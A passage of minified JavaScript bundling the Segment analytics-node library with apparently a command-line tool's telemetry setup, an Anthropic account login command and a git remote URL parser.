P6K=v((j6K)=>{Object.defineProperty(j6K,"__esModule",{value:!0});j6K.groupBy=void 0;var D6K=Uz();function bZ2(A,K){var q={};return A.forEach(function(Y){var z,w=void 0;if(typeof K==="string"){var H=Y[K];w=typeof H!=="string"?JSON.stringify(H):H}else if(K instanceof Function)w=K(Y);if(w===void 0)return;q[w]=D6K.__spreadArray(D6K.__spreadArray([],(z=q[w])!==null&&z!==void 0?z:[],!0),[Y],!1)}),q}j6K.groupBy=bZ2});var N6K=v((V6K)=>{Object.defineProperty(V6K,"__esModule",{value:!0});V6K.isThenable=void 0;var xZ2=function(A){return typeof A==="object"&&A!==null&&"then"in A&&typeof A.then==="function"};V6K.isThenable=xZ2});var E6K=v((T6K)=>{Object.defineProperty(T6K,"__esModule",{value:!0});T6K.createTaskGroup=void 0;var uZ2=N6K(),BZ2=function(){var A,K,q=0;return{done:function(){return A},run:function(Y){var z=Y();if((0,uZ2.isThenable)(z)){if(++q===1)A=new Promise(function(w){return K=w});z.finally(function(){return--q===0&&K()})}return z}}};T6K.createTaskGroup=BZ2});var Dy6=v((L6K)=>{Object.defineProperty(L6K,"__esModule",{value:!0});L6K.ensure=L6K.attempt=void 0;var k6K=Uz(),Wy6=aM1();function mZ2(A){return k6K.__awaiter(this,void 0,void 0,function(){var K;return k6K.__generator(this,function(q){switch(q.label){case 0:return q.trys.push([0,2,,3]),[4,A()];case 1:return[2,q.sent()];case 2:return K=q.sent(),[2,Promise.reject(K)];case 3:return[2]}})})}function C6K(A,K){A.log("debug","plugin",{plugin:K.name});var q=new Date().getTime(),Y=K[A.event.type];if(Y===void 0)return Promise.resolve(A);var z=mZ2(function(){return Y.apply(K,[A])}).then(function(w){var H=new Date().getTime()-q;return w.stats.gauge("plugin_time",H,["plugin:".concat(K.name)]),w}).catch(function(w){if(w instanceof Wy6.ContextCancelation&&w.type==="middleware_cancellation")throw w;if(w instanceof Wy6.ContextCancelation)return A.log("warn",w.type,{plugin:K.name,error:w}),w;return A.log("error","plugin Error",{plugin:K.name,error:w}),A.stats.increment("plugin_error",1,["plugin:".concat(K.name)]),w});return z}L6K.attempt=C6K;function gZ2(A,K){return C6K(A,K).then(function(q){if(q instanceof Wy6.CoreContext)return q;A.log("debug","Context canceled"),A.stats.increment("context_canceled"),A.cancel(q)})}L6K.ensure=gZ2});var S6K=v((y6K)=>{Object.defineProperty(y6K,"__esModule",{value:!0});y6K.CoreEventQueue=void 0;var TW=Uz(),QZ2=P6K(),UZ2=Xy6(),jy6=aM1(),pZ2=sjA(),dZ2=E6K(),sM1=Dy6(),cZ2=function(A){TW.__extends(K,A);function K(q){var Y=A.call(this)||this;return Y.criticalTasks=(0,dZ2.createTaskGroup)(),Y.plugins=[],Y.failedInitializations=[],Y.flushing=!1,Y.queue=q,Y.queue.on(UZ2.ON_REMOVE_FROM_FUTURE,function(){Y.scheduleFlush(0)}),Y}return K.prototype.register=function(q,Y,z){return TW.__awaiter(this,void 0,void 0,function(){var w=this;return TW.__generator(this,function(H){switch(H.label){case 0:return[4,Promise.resolve(Y.load(q,z)).then(function(){w.plugins.push(Y)}).catch(function(J){if(Y.type==="destination"){w.failedInitializations.push(Y.name),console.warn(Y.name,J),q.log("warn","Failed to load destination",{plugin:Y.name,error:J});return}throw J})];case 1:return H.sent(),[2]}})})},K.prototype.deregister=function(q,Y,z){return TW.__awaiter(this,void 0,void 0,function(){var w;return TW.__generator(this,function(H){switch(H.label){case 0:if(H.trys.push([0,3,,4]),!Y.unload)return[3,2];return[4,Promise.resolve(Y.unload(q,z))];case 1:H.sent(),H.label=2;case 2:return this.plugins=this.plugins.filter(function(J){return J.name!==Y.name}),[3,4];case 3:return w=H.sent(),q.log("warn","Failed to unload destination",{plugin:Y.name,error:w}),[3,4];case 4:return[2]}})})},K.prototype.dispatch=function(q){return TW.__awaiter(this,void 0,void 0,function(){var Y;return TW.__generator(this,function(z){return q.log("debug","Dispatching"),q.stats.increment("message_dispatched"),this.queue.push(q),Y=this.subscribeToDelivery(q),this.scheduleFlush(0),[2,Y]})})},K.prototype.subscribeToDelivery=function(q){return TW.__awaiter(this,void 0,void 0,function(){var Y=this;return TW.__generator(this,function(z){return[2,new Promise(function(w){var H=function(J,O){if(J.isSame(q))if(Y.off("flush",H),O)w(J);else w(J)};Y.on("flush",H)})]})})},K.prototype.dispatchSingle=function(q){return TW.__awaiter(this,void 0,void 0,function(){var Y=this;return TW.__generator(this,function(z){return q.log("debug","Dispatching"),q.stats.increment("message_dispatched"),this.queue.updateAttempts(q),q.attempts=1,[2,this.deliver(q).catch(function(w){var H=Y.enqueuRetry(w,q);if(!H)return q.setFailedDelivery({reason:w}),q;return Y.subscribeToDelivery(q)})]})})},K.prototype.isEmpty=function(){return this.queue.length===0},K.prototype.scheduleFlush=function(q){var Y=this;if(q===void 0)q=500;if(this.flushing)return;this.flushing=!0,setTimeout(function(){Y.flush().then(function(){setTimeout(function(){if(Y.flushing=!1,Y.queue.length)Y.scheduleFlush(0)},0)})},q)},K.prototype.deliver=function(q){return TW.__awaiter(this,void 0,void 0,function(){var Y,z,w,H;return TW.__generator(this,function(J){switch(J.label){case 0:return[4,this.criticalTasks.done()];case 1:J.sent(),Y=Date.now(),J.label=2;case 2:return J.trys.push([2,4,,5]),[4,this.flushOne(q)];case 3:return q=J.sent(),z=Date.now()-Y,this.emit("delivery_success",q),q.stats.gauge("delivered",z),q.log("debug","Delivered",q.event),[2,q];case 4:throw w=J.sent(),H=w,q.log("error","Failed to deliver",H),this.emit("delivery_failure",q,H),q.stats.increment("delivery_failed"),w;case 5:return[2]}})})},K.prototype.enqueuRetry=function(q,Y){var z=!(q instanceof jy6.ContextCancelation)||q.retry;if(!z)return!1;return this.queue.pushWithBackoff(Y)},K.prototype.flush=function(){return TW.__awaiter(this,void 0,void 0,function(){var q,Y,z;return TW.__generator(this,function(w){switch(w.label){case 0:if(this.queue.length===0)return[2,[]];if(q=this.queue.pop(),!q)return[2,[]];q.attempts=this.queue.getAttempts(q),w.label=1;case 1:return w.trys.push([1,3,,4]),[4,this.deliver(q)];case 2:return q=w.sent(),this.emit("flush",q,!0),[3,4];case 3:if(Y=w.sent(),z=this.enqueuRetry(Y,q),!z)q.setFailedDelivery({reason:Y}),this.emit("flush",q,!1);return[2,[]];case 4:return[2,[q]]}})})},K.prototype.isReady=function(){return!0},K.prototype.availableExtensions=function(q){var Y=this.plugins.filter(function(Z){var W,D,j;if(Z.type!=="destination"&&Z.name!=="Segment.io")return!0;var M=void 0;return(W=Z.alternativeNames)===null||W===void 0||W.forEach(function(P){if(q[P]!==void 0)M=q[P]}),(j=(D=q[Z.name])!==null&&D!==void 0?D:M)!==null&&j!==void 0?j:(Z.name==="Segment.io"?!0:q.All)!==!1}),z=(0,QZ2.groupBy)(Y,"type"),w=z.before,H=w===void 0?[]:w,J=z.enrichment,O=J===void 0?[]:J,X=z.destination,$=X===void 0?[]:X,_=z.after,G=_===void 0?[]:_;return{before:H,enrichment:O,destinations:$,after:G}},K.prototype.flushOne=function(q){var Y,z;return TW.__awaiter(this,void 0,void 0,function(){var w,H,J,O,X,$,W,_,G,Z,W,D,j,M,P;return TW.__generator(this,function(f){switch(f.label){case 0:if(!this.isReady())throw Error("Not ready");if(q.attempts>1)this.emit("delivery_retry",q);w=this.availableExtensions((Y=q.event.integrations)!==null&&Y!==void 0?Y:{}),H=w.before,J=w.enrichment,O=0,X=H,f.label=1;case 1:if(!(O<X.length))return[3,4];return $=X[O],[4,(0,sM1.ensure)(q,$)];case 2:if(W=f.sent(),W instanceof jy6.CoreContext)q=W;this.emit("message_enriched",q,$),f.label=3;case 3:return O++,[3,1];case 4:_=0,G=J,f.label=5;case 5:if(!(_<G.length))return[3,8];return Z=G[_],[4,(0,sM1.attempt)(q,Z)];case 6:if(W=f.sent(),W instanceof jy6.CoreContext)q=W;this.emit("message_enriched",q,Z),f.label=7;case 7:return _++,[3,5];case 8:return D=this.availableExtensions((z=q.event.integrations)!==null&&z!==void 0?z:{}),j=D.destinations,M=D.after,[4,new Promise(function(N,T){setTimeout(function(){var C=j.map(function(R){return(0,sM1.attempt)(q,R)});Promise.all(C).then(N).catch(T)},0)})];case 9:return f.sent(),q.stats.increment("message_delivered"),this.emit("message_delivered",q),P=M.map(function(N){return(0,sM1.attempt)(q,N)}),[4,Promise.all(P)];case 10:return f.sent(),[2,q]}})})},K}(pZ2.Emitter);y6K.CoreEventQueue=cZ2});var b6K=v((h6K)=>{Object.defineProperty(h6K,"__esModule",{value:!0})});var g6K=v((u6K)=>{Object.defineProperty(u6K,"__esModule",{value:!0});u6K.dispatch=u6K.getDelay=void 0;var x6K=Uz(),lZ2=wy6(),iZ2=function(A,K){var q=Date.now()-A;return Math.max((K!==null&&K!==void 0?K:300)-q,0)};u6K.getDelay=iZ2;function nZ2(A,K,q,Y){return x6K.__awaiter(this,void 0,void 0,function(){var z,w;return x6K.__generator(this,function(H){switch(H.label){case 0:if(q.emit("dispatch_start",A),z=Date.now(),!K.isEmpty())return[3,2];return[4,K.dispatchSingle(A)];case 1:return w=H.sent(),[3,4];case 2:return[4,K.dispatch(A)];case 3:w=H.sent(),H.label=4;case 4:if(!(Y===null||Y===void 0?void 0:Y.callback))return[3,6];return[4,(0,lZ2.invokeCallback)(w,Y.callback,u6K.getDelay(z,Y.timeout))];case 5:w=H.sent(),H.label=6;case 6:if(Y===null||Y===void 0?void 0:Y.debug)w.flush();return[2,w]}})})}u6K.dispatch=nZ2});var U6K=v((F6K)=>{Object.defineProperty(F6K,"__esModule",{value:!0});F6K.bindAll=void 0;function rZ2(A){var K=A.constructor.prototype;for(var q=0,Y=Object.getOwnPropertyNames(K);q<Y.length;q++){var z=Y[q];if(z!=="constructor"){var w=Object.getOwnPropertyDescriptor(A.constructor.prototype,z);if(!!w&&typeof w.value==="function")A[z]=A[z].bind(A)}}return A}F6K.bindAll=rZ2});var It=v((L$)=>{Object.defineProperty(L$,"__esModule",{value:!0});L$.CoreLogger=L$.backoff=void 0;var Wj=Uz();Wj.__exportStar(f1K(),L$);Wj.__exportStar(T1K(),L$);Wj.__exportStar(sR6(),L$);Wj.__exportStar(p1K(),L$);Wj.__exportStar(wy6(),L$);Wj.__exportStar(Xy6(),L$);var oZ2=Oy6();Object.defineProperty(L$,"backoff",{enumerable:!0,get:function(){return oZ2.backoff}});Wj.__exportStar(aM1(),L$);Wj.__exportStar(S6K(),L$);Wj.__exportStar(b6K(),L$);Wj.__exportStar(g6K(),L$);Wj.__exportStar(Ay6(),L$);Wj.__exportStar(eR6(),L$);Wj.__exportStar(Yy6(),L$);Wj.__exportStar(U6K(),L$);Wj.__exportStar(Zy6(),L$);var aZ2=_y6();Object.defineProperty(L$,"CoreLogger",{enumerable:!0,get:function(){return aZ2.CoreLogger}});Wj.__exportStar(Dy6(),L$)});var c6K=v((p6K)=>{Object.defineProperty(p6K,"__esModule",{value:!0});p6K.validateSettings=void 0;var tZ2=It(),eZ2=(A)=>{if(!A.writeKey)throw new tZ2.ValidationError("writeKey","writeKey is missing.")};p6K.validateSettings=eZ2});var My6=v((l6K)=>{Object.defineProperty(l6K,"__esModule",{value:!0});l6K.version=void 0;l6K.version="1.3.0"});var o6K=v((n6K)=>{Object.defineProperty(n6K,"__esModule",{value:!0});n6K.tryCreateFormattedUrl=void 0;var AW2=(A)=>A.replace(/\/$/,""),KW2=(A,K)=>{return AW2(new URL(K||"",A).href)};n6K.tryCreateFormattedUrl=KW2});var Vy6=v((Py6)=>{Object.defineProperty(Py6,"__esModule",{value:!0});Py6.uuid=void 0;var qW2=$y6();Object.defineProperty(Py6,"uuid",{enumerable:!0,get:function(){return qW2.v4}})});var K8K=v((e6K)=>{Object.defineProperty(e6K,"__esModule",{value:!0});e6K.ContextBatch=void 0;var zW2=Vy6(),a6K=32,s6K=480;class t6K{constructor(A){this.id=(0,zW2.uuid)(),this.items=[],this.sizeInBytes=0,this.maxEventCount=Math.max(1,A)}tryAdd(A){if(this.length===this.maxEventCount)return{success:!1,message:`Event limit of ${this.maxEventCount} has been exceeded.`};let K=this.calculateSize(A.context);if(K>a6K*1024)return{success:!1,message:`Event exceeds maximum event size of ${a6K} KB`};if(this.sizeInBytes+K>s6K*1024)return{success:!1,message:`Event has caused batch size to exceed ${s6K} KB`};return this.items.push(A),this.sizeInBytes+=K,{success:!0}}get length(){return this.items.length}calculateSize(A){return encodeURI(JSON.stringify(A.event)).split(/%..|i/).length}getEvents(){return this.items.map(({context:K})=>K.event)}getContexts(){return this.items.map((A)=>A.context)}resolveEvents(){this.items.forEach(({resolver:A,context:K})=>A(K))}}e6K.ContextBatch=t6K});var z8K=v((q8K)=>{Object.defineProperty(q8K,"__esModule",{value:!0});q8K.b64encode=void 0;var wW2=CA("buffer"),HW2=(A)=>{return wW2.Buffer.from(A).toString("base64")};q8K.b64encode=HW2});var X8K=v((J8K)=>{Object.defineProperty(J8K,"__esModule",{value:!0});J8K.Publisher=void 0;var JW2=It(),OW2=o6K(),XW2=sjA(),$W2=K8K(),_W2=z8K();function GW2(A){return new Promise((K)=>setTimeout(K,A))}function _QA(){}class H8K{constructor({host:A,path:K,maxRetries:q,flushAt:Y,flushInterval:z,writeKey:w,httpRequestTimeout:H,httpClient:J,disable:O},X){this._emitter=X,this._maxRetries=q,this._flushAt=Math.max(Y,1),this._flushInterval=z,this._auth=(0,_W2.b64encode)(`${w}:`),this._url=(0,OW2.tryCreateFormattedUrl)(A??"https://api.segment.io",K??"/v1/batch"),this._httpRequestTimeout=H??1e4,this._disable=Boolean(O),this._httpClient=J}createBatch(){this.pendingFlushTimeout&&clearTimeout(this.pendingFlushTimeout);let A=new $W2.ContextBatch(this._flushAt);return this._batch=A,this.pendingFlushTimeout=setTimeout(()=>{if(A===this._batch)this._batch=void 0;if(this.pendingFlushTimeout=void 0,A.length)this.send(A).catch(_QA)},this._flushInterval),A}clearBatch(){this.pendingFlushTimeout&&clearTimeout(this.pendingFlushTimeout),this._batch=void 0}flush(A){if(!A)return;if(this._flushPendingItemsCount=A,!this._batch)return;if(this._batch.length===A)this.send(this._batch).catch(_QA),this.clearBatch()}enqueue(A){let K=this._batch??this.createBatch(),{promise:q,resolve:Y}=(0,XW2.createDeferred)(),z={context:A,resolver:Y};if(K.tryAdd(z).success){let O=K.length===this._flushPendingItemsCount;if(K.length===this._flushAt||O)this.send(K).catch(_QA),this.clearBatch();return q}if(K.length)this.send(K).catch(_QA),this.clearBatch();let H=this.createBatch(),J=H.tryAdd(z);if(J.success){if(H.length===this._flushPendingItemsCount)this.send(H).catch(_QA),this.clearBatch();return q}else return A.setFailedDelivery({reason:Error(J.message)}),Promise.resolve(A)}async send(A){if(this._flushPendingItemsCount)this._flushPendingItemsCount-=A.length;let K=A.getEvents(),q=this._maxRetries+1,Y=0;while(Y<q){Y++;let z;try{if(this._disable)return A.resolveEvents();let w={url:this._url,method:"POST",headers:{"Content-Type":"application/json",Authorization:`Basic ${this._auth}`,"User-Agent":"analytics-node-next/latest"},data:{batch:K,sentAt:new Date},httpRequestTimeout:this._httpRequestTimeout};this._emitter.emit("http_request",{body:w.data,method:w.method,url:w.url,headers:w.headers});let H=await this._httpClient.makeRequest(w);if(H.status>=200&&H.status<300){A.resolveEvents();return}else if(H.status===400){w8K(A,Error(`[${H.status}] ${H.statusText}`));return}else z=Error(`[${H.status}] ${H.statusText}`)}catch(w){z=w}if(Y===q){w8K(A,z);return}await GW2((0,JW2.backoff)({attempt:Y,minTimeout:25,maxTimeout:1000}))}}}J8K.Publisher=H8K;function w8K(A,K){A.getContexts().forEach((q)=>q.setFailedDelivery({reason:K})),A.resolveEvents()}});var fy6=v(($8K)=>{Object.defineProperty($8K,"__esModule",{value:!0});$8K.detectRuntime=void 0;var ZW2=()=>{if(typeof process==="object"&&process&&typeof process.env==="object"&&process.env&&typeof process.version==="string")return"node";if(typeof window==="object")return"browser";if(typeof WebSocketPair<"u")return"cloudflare-worker";if(typeof EdgeRuntime==="string")return"vercel-edge";if(typeof WorkerGlobalScope<"u"&&typeof importScripts==="function")return"web-worker";return"unknown"};$8K.detectRuntime=ZW2});var D8K=v((Z8K)=>{Object.defineProperty(Z8K,"__esModule",{value:!0});Z8K.createConfiguredNodePlugin=Z8K.createNodePlugin=void 0;var WW2=X8K(),DW2=My6(),jW2=fy6();function MW2(A){A.updateEvent("context.library.name","@segment/analytics-node"),A.updateEvent("context.library.version",DW2.version);let K=(0,jW2.detectRuntime)();if(K==="node")A.updateEvent("_metadata.nodeVersion",process.version);A.updateEvent("_metadata.jsRuntime",K)}function G8K(A){function K(q){return MW2(q),A.enqueue(q)}return{name:"Segment.io",type:"destination",version:"1.0.0",isLoaded:()=>!0,load:()=>Promise.resolve(),alias:K,group:K,identify:K,page:K,screen:K,track:K}}Z8K.createNodePlugin=G8K;var PW2=(A,K)=>{let q=new WW2.Publisher(A,K);return{publisher:q,plugin:G8K(q)}};Z8K.createConfiguredNodePlugin=PW2});var P8K=v((j8K)=>{Object.defineProperty(j8K,"__esModule",{value:!0});j8K.createMessageId=void 0;var fW2=Vy6(),NW2=()=>{return`node-next-${Date.now()}-${(0,fW2.uuid)()}`};j8K.createMessageId=NW2});var T8K=v((f8K)=>{Object.defineProperty(f8K,"__esModule",{value:!0});f8K.NodeEventFactory=void 0;var TW2=It(),vW2=P8K();class V8K extends TW2.EventFactory{constructor(){super({createMessageId:vW2.createMessageId})}}f8K.NodeEventFactory=V8K});var tM1=v((E8K)=>{Object.defineProperty(E8K,"__esModule",{value:!0});E8K.Context=void 0;var EW2=It();class v8K extends EW2.CoreContext{static system(){return new this({type:"track",event:"system"})}}E8K.Context=v8K});var R8K=v((C8K)=>{Object.defineProperty(C8K,"__esModule",{value:!0});C8K.dispatchAndEmit=void 0;var kW2=It(),CW2=tM1(),LW2=(A)=>(K)=>{let q=K.failedDelivery();return q?A(q.reason,K):A(void 0,K)},RW2=async(A,K,q,Y)=>{try{let z=new CW2.Context(A),w=await(0,kW2.dispatch)(z,K,q,{...Y?{callback:LW2(Y)}:{}}),H=w.failedDelivery();if(H)q.emit("error",{code:"delivery_failure",reason:H.reason,ctx:w});else q.emit(A.type,w)}catch(z){q.emit("error",{code:"unknown",reason:z})}};C8K.dispatchAndEmit=RW2});var h8K=v((I8K)=>{Object.defineProperty(I8K,"__esModule",{value:!0});I8K.NodeEmitter=void 0;var yW2=sjA();class y8K extends yW2.Emitter{}I8K.NodeEmitter=y8K});var g8K=v((B8K)=>{Object.defineProperty(B8K,"__esModule",{value:!0});B8K.NodeEventQueue=void 0;var b8K=It();class x8K extends b8K.PriorityQueue{constructor(){super(1,[])}getAttempts(A){return A.attempts??0}updateAttempts(A){return A.attempts=this.getAttempts(A)+1,this.getAttempts(A)}}class u8K extends b8K.CoreEventQueue{constructor(){super(new x8K)}}B8K.NodeEventQueue=u8K});var p8K=v((Q8K)=>{Object.defineProperty(Q8K,"__esModule",{value:!0});Q8K.abortSignalAfterTimeout=Q8K.AbortSignal=void 0;var IW2=sjA(),SW2=fy6();class Ny6{constructor(){this.onabort=null,this.aborted=!1,this.eventEmitter=new IW2.Emitter}toString(){return"[object AbortSignal]"}get[Symbol.toStringTag](){return"AbortSignal"}removeEventListener(...A){this.eventEmitter.off(...A)}addEventListener(...A){this.eventEmitter.on(...A)}dispatchEvent(A){let K={type:A,target:this},q=`on${A}`;if(typeof this[q]==="function")this[q](K);this.eventEmitter.emit(A,K)}}Q8K.AbortSignal=Ny6;class F8K{constructor(){this.signal=new Ny6}abort(){if(this.signal.aborted)return;this.signal.aborted=!0,this.signal.dispatchEvent("abort")}toString(){return"[object AbortController]"}get[Symbol.toStringTag](){return"AbortController"}}var hW2=(A)=>{if((0,SW2.detectRuntime)()==="cloudflare-worker")return[];let K=new(globalThis.AbortController||F8K),q=setTimeout(()=>{K.abort()},A);return q?.unref?.(),[K.signal,q]};Q8K.abortSignalAfterTimeout=hW2});var d8K=v((aB)=>{var xW2=aB&&aB.__createBinding||(Object.create?function(A,K,q,Y){if(Y===void 0)Y=q;var z=Object.getOwnPropertyDescriptor(K,q);if(!z||("get"in z?!K.__esModule:z.writable||z.configurable))z={enumerable:!0,get:function(){return K[q]}};Object.defineProperty(A,Y,z)}:function(A,K,q,Y){if(Y===void 0)Y=q;A[Y]=K[q]}),uW2=aB&&aB.__setModuleDefault||(Object.create?function(A,K){Object.defineProperty(A,"default",{enumerable:!0,value:K})}:function(A,K){A.default=K}),BW2=aB&&aB.__importStar||function(A){if(A&&A.__esModule)return A;var K={};if(A!=null){for(var q in A)if(q!=="default"&&Object.prototype.hasOwnProperty.call(A,q))xW2(K,A,q)}return uW2(K,A),K};Object.defineProperty(aB,"__esModule",{value:!0});aB.fetch=void 0;var mW2=async(...A)=>{if(globalThis.fetch)return globalThis.fetch(...A);else if(typeof EdgeRuntime!=="string")return(await Promise.resolve().then(()=>BW2(XH6()))).default(...A);else throw Error("Invariant: an edge runtime that does not support fetch should not exist")};aB.fetch=mW2});var Ty6=v((l8K)=>{Object.defineProperty(l8K,"__esModule",{value:!0});l8K.FetchHTTPClient=void 0;var gW2=p8K(),FW2=d8K();class c8K{constructor(A){this._fetch=A??FW2.fetch}async makeRequest(A){let[K,q]=(0,gW2.abortSignalAfterTimeout)(A.httpRequestTimeout),Y={url:A.url,method:A.method,headers:A.headers,body:JSON.stringify(A.data),signal:K};return this._fetch(A.url,Y).finally(()=>clearTimeout(q))}}l8K.FetchHTTPClient=c8K});var vy6=v((s8K)=>{Object.defineProperty(s8K,"__esModule",{value:!0});s8K.Analytics=void 0;var n8K=It(),QW2=c6K(),UW2=My6(),pW2=D8K(),dW2=T8K(),cW2=R8K(),lW2=h8K(),r8K=tM1(),iW2=g8K(),o8K=Ty6();class a8K extends lW2.NodeEmitter{constructor(A){super();this._isClosed=!1,this._pendingEvents=0,this._isFlushing=!1,(0,QW2.validateSettings)(A),this._eventFactory=new dW2.NodeEventFactory,this._queue=new iW2.NodeEventQueue;let K=A.flushInterval??1e4;this._closeAndFlushDefaultTimeout=K*1.25;let{plugin:q,publisher:Y}=(0,pW2.createConfiguredNodePlugin)({writeKey:A.writeKey,host:A.host,path:A.path,maxRetries:A.maxRetries??3,flushAt:A.flushAt??A.maxEventsInBatch??15,httpRequestTimeout:A.httpRequestTimeout,disable:A.disable,flushInterval:K,httpClient:typeof A.httpClient==="function"?new o8K.FetchHTTPClient(A.httpClient):A.httpClient??new o8K.FetchHTTPClient},this);this._publisher=Y,this.ready=this.register(q).then(()=>{return}),this.emit("initialize",A),(0,n8K.bindAll)(this)}get VERSION(){return UW2.version}closeAndFlush({timeout:A=this._closeAndFlushDefaultTimeout}={}){return this.flush({timeout:A,close:!0})}async flush({timeout:A,close:K=!1}={}){if(this._isFlushing){console.warn("Overlapping flush calls detected. Please wait for the previous flush to finish before calling .flush again");return}else this._isFlushing=!0;if(K)this._isClosed=!0;this._publisher.flush(this._pendingEvents);let q=new Promise((Y)=>{if(!this._pendingEvents)Y();else this.once("drained",()=>{Y()})}).finally(()=>{this._isFlushing=!1});return A?(0,n8K.pTimeout)(q,A).catch(()=>{return}):q}_dispatch(A,K){if(this._isClosed){this.emit("call_after_close",A);return}this._pendingEvents++,(0,cW2.dispatchAndEmit)(A,this._queue,this,K).catch((q)=>q).finally(()=>{if(this._pendingEvents--,!this._pendingEvents)this.emit("drained")})}alias({userId:A,previousId:K,context:q,timestamp:Y,integrations:z},w){let H=this._eventFactory.alias(A,K,{context:q,integrations:z,timestamp:Y});this._dispatch(H,w)}group({timestamp:A,groupId:K,userId:q,anonymousId:Y,traits:z={},context:w,integrations:H},J){let O=this._eventFactory.group(K,z,{context:w,anonymousId:Y,userId:q,timestamp:A,integrations:H});this._dispatch(O,J)}identify({userId:A,anonymousId:K,traits:q={},context:Y,timestamp:z,integrations:w},H){let J=this._eventFactory.identify(A,q,{context:Y,anonymousId:K,userId:A,timestamp:z,integrations:w});this._dispatch(J,H)}page({userId:A,anonymousId:K,category:q,name:Y,properties:z,context:w,timestamp:H,integrations:J},O){let X=this._eventFactory.page(q??null,Y??null,z,{context:w,anonymousId:K,userId:A,timestamp:H,integrations:J});this._dispatch(X,O)}screen({userId:A,anonymousId:K,category:q,name:Y,properties:z,context:w,timestamp:H,integrations:J},O){let X=this._eventFactory.screen(q??null,Y??null,z,{context:w,anonymousId:K,userId:A,timestamp:H,integrations:J});this._dispatch(X,O)}track({userId:A,anonymousId:K,event:q,properties:Y,context:z,timestamp:w,integrations:H},J){let O=this._eventFactory.track(q,Y,{context:z,userId:A,anonymousId:K,timestamp:w,integrations:H});this._dispatch(O,J)}register(...A){return this._queue.criticalTasks.run(async()=>{let K=r8K.Context.system(),q=A.map((Y)=>this._queue.register(K,Y,this));await Promise.all(q),this.emit("register",A.map((Y)=>Y.name))})}async deregister(...A){let K=r8K.Context.system(),q=A.map((Y)=>{let z=this._queue.plugins.find((w)=>w.name===Y);if(z)return this._queue.deregister(K,z,this);else K.log("warn",`plugin ${Y} not found`)});await Promise.all(q),this.emit("deregister",A)}}s8K.Analytics=a8K});var e8K=v((GQA)=>{Object.defineProperty(GQA,"__esModule",{value:!0});GQA.FetchHTTPClient=GQA.Context=GQA.Analytics=void 0;var nW2=vy6();Object.defineProperty(GQA,"Analytics",{enumerable:!0,get:function(){return nW2.Analytics}});var rW2=tM1();Object.defineProperty(GQA,"Context",{enumerable:!0,get:function(){return rW2.Context}});var oW2=Ty6();Object.defineProperty(GQA,"FetchHTTPClient",{enumerable:!0,get:function(){return oW2.FetchHTTPClient}});var aW2=vy6();GQA.default=aW2.Analytics});function AD2(){return eW2.production}async function KD2(){if(K$())return!1;return!0}async function Ey6(A,K){let q=await K4K();if(!q)return;try{let Y=Cy6(),z=$5(),w=await yr({model:K.model}),H=Cy4(w,K),J={anonymousId:Y,event:A,properties:H};if(z){let O=rs(!0);J.userId=O.userID,J.properties.accountUuid=z.accountUuid,J.properties.organizationUuid=z.organizationUuid}q.track(J)}catch(Y){KA(Y instanceof Error?Y:Error(String(Y)))}}async function q4K(A){let K=await K4K();if(!K)return;try{let q=Cy6(),Y=$5(),z={anonymousId:q,traits:A};if(Y){let w=rs(!0);z.userId=w.userID}K.identify(z)}catch(q){KA(q instanceof Error?q:Error(String(q)))}}var A4K,eW2,eM1=null,K4K;var ky6=k(()=>{p7();kx();i6();C1();x4();sO();BQ();A4K=o(e8K(),1),eW2={production:"LKJN8LsLERHEOXkw487o7qCTFOrGPimI",development:"b64sf1kxwDGe1PiSAlv5ixuH0f509RKK"};K4K=z6(async()=>{if(!await KD2())return null;try{return eM1=new A4K.Analytics({writeKey:AD2()}),process.on("beforeExit",async()=>{await eM1?.closeAndFlush()}),process.on("exit",()=>{eM1?.closeAndFlush()}),eM1}catch(K){return KA(K instanceof Error?K:Error(String(K))),null}})});function qD2(){let A=$5();if(!A)return{};return{email:A.emailAddress,account_uuid:A.accountUuid,organization_uuid:A.organizationUuid}}function ZQA(A){let K=s(21),q=Rt(),Y;if(K[0]!==q||K[1]!==A)Y=()=>A.onDone(!1,q),K[0]=q,K[1]=A,K[2]=Y;else Y=K[2];let z=n8(Y),w;if(K[3]!==q||K[4]!==A)w=()=>A.onDone(!1,q),K[3]=q,K[4]=A,K[5]=w;else w=K[5];let H;if(K[6]===Symbol.for("react.memo_cache_sentinel"))H={context:"Confirmation"},K[6]=H;else H=K[6];J6("confirm:no",w,H);let J;if(K[7]!==q||K[8]!==A)J=()=>A.onDone(!0,q),K[7]=q,K[8]=A,K[9]=J;else J=K[9];let O;if(K[10]!==A.startingMessage||K[11]!==J)O=Dj.createElement(Lt,{onDone:J,startingMessage:A.startingMessage}),K[10]=A.startingMessage,K[11]=J,K[12]=O;else O=K[12];let X;if(K[13]!==z.keyName||K[14]!==z.pending)X=z.pending?Dj.createElement(Dj.Fragment,null,"Press ",z.keyName," again to exit"):"",K[13]=z.keyName,K[14]=z.pending,K[15]=X;else X=K[15];let $;if(K[16]!==X)$=Dj.createElement(S,{marginLeft:1},Dj.createElement(V,{dimColor:!0},X)),K[16]=X,K[17]=$;else $=K[17];let _;if(K[18]!==O||K[19]!==$)_=Dj.createElement(S,{flexDirection:"column",marginTop:1},O,$),K[18]=O,K[19]=$,K[20]=_;else _=K[20];return _}var Dj,Y4K=()=>({type:"local-jsx",name:"login",description:z4K()?"Switch Anthropic accounts":"Sign in with your Anthropic account",isEnabled:()=>!process.env.DISABLE_LOGIN_COMMAND,isHidden:!1,async call(A,K){return Dj.createElement(ZQA,{onDone:async(q)=>{if(K.onChangeAPIKey(),q)yNA(),u5A(),q4K(qD2()),Gt7(),ft7(),K.setAppState((Y)=>({...Y,authVersion:Y.authVersion+1}));A(q?"Login successful":"Login interrupted")}})},userFacingName(){return"login"}});var AP1=k(()=>{cA();XQA();Iq();mA();x4();C8();$QA();ns();q6();ky6();x4();ujA();CS();Dj=o($A(),1)});async function yS(){let A=x1();if(WQA.has(A))return WQA.get(A)??null;try{let K=await RrA();if(h(`Git remote URL: ${K}`),!K)return h("No git remote URL found"),WQA.set(A,null),null;let q=V3A(K);return h(`Parsed repository: ${q} from URL: ${K}`),WQA.set(A,q),q}catch(K){return h(`Error detecting repository: ${K}`),WQA.set(A,null),null}}function V3A(A){let K=A.trim(),q=/github\.com[:/]([^/]+)\/([^/]+)$/,Y=K.match(q);if(Y&&Y[1]&&Y[2]){let z=Y[1],w=Y[2].replace(/\.git$/,""),H=`${z}/${w}`;return h(`Parsed repository: ${H} from ${K}`),H}if(!K.includes("://")&&!K.includes("@")&&K.includes("/")){let z=K.split("/");if(z.length===2&&z[0]&&z[1]){let w=z[1].replace(/\.git$/,"");return`${z[0]}/${w}`}}return h(`Could not parse repository from: ${K}`),null}var WQA;var 